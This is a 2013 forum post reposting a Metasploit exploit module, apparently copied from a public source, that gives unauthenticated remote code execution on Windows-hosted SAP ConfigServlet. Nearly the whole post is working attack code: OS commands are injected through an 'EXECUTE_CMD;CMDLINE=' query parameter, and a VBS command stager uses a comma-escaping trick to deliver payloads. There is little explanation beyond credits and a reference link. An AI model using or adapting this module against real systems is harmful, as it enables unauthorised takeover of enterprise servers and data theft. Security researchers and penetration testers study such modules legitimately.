thehat Posted April 29, 2013 Report Posted April 29, 2013 SAP ConfigServlet Remote Unauthenticated Payload Executionrequire 'msf/core'class Metasploit3 < Msf::Exploit Rank = GreatRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStagerVBS def initialize(info = {}) super(update_info(info, 'Name' => 'SAP ConfigServlet Remote Code Execution', 'Description' => %q{ This module allows remote code execution via operating system commands through the SAP ConfigServlet without any authentication. }, 'Author' => [ 'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation) 'Andras Kabai' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf'] ], 'DisclosureDate' => 'Nov 01 2012', # Based on the reference presentation 'Platform' => 'win', 'Targets' => [ [ 'Windows generic', { 'Arch' => ARCH_X86 } ] ], 'DefaultTarget' => 0, 'Privileged' => false )) register_options( [ Opt::RPORT(50000), OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet']) ], self.class) end def check uri = normalize_uri(target_uri.path, 'ConfigServlet') res = send_evil_request(uri, "whoami", 20) if !res Exploit::CheckCode::Unknown elsif res.body.include?("Process created") Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end def exploit print_status("#{rhost}:#{rport} - Exploiting remote system") uri = normalize_uri(target_uri.path, 'ConfigServlet') execute_cmdstager( { :linemax => 1500, :nodelete => true, :sap_configservlet_uri => uri }) end def execute_command(cmd, opts) commands = cmd.split(/&/) commands.each do |command| timeout = 20 if command.include?(".vbs") and command.include?(",") # because the comma is bad character and the VBS stager contains commas it is necessary to "create" commas without directly using them # using the following command line trick it is possible to echo commas into the right places command.gsub!(",", "%i") command = "cmd /c FOR /F \"usebackq tokens=2 delims=)\" %i IN (\`\"ping -n 1 127.0.0.1| findstr )\"\`) DO " + command else command = "cmd /c " + command end if command.include?("cscript") # in case of bigger payloads the VBS stager could run for longer time as it needs to decode lot of data # increaste timeout value when the VBS stager is called timeout = 120 end vprint_status("Attempting to execute: #{command}") send_evil_request(opts[:sap_configservlet_uri], command, timeout) end end def send_evil_request(uri, cmd, timeout) begin res = send_request_cgi( { 'uri' => uri, 'method' => 'GET', 'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(cmd) }, timeout) if !res fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Exploit failed.") end if res.code != 200 vprint_error("#{rhost}:#{rport} - Output: #{res.body}") fail_with(Exploit::Failure::UnexpectedReply, "#{rhost}:#{rport} - Exploit failed.") end rescue ::Rex::ConnectionError fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the server.") end if not res.body.include?("Process created") vprint_error("#{rhost}:#{rport} - Output: #{res.body}") fail_with(Exploit::Failure::PayloadFailed, "#{rhost}:#{rport} - Exploit failed.") end return res endendSursa: SAP ConfigServlet Remote Unauthenticated Payload Execution Quote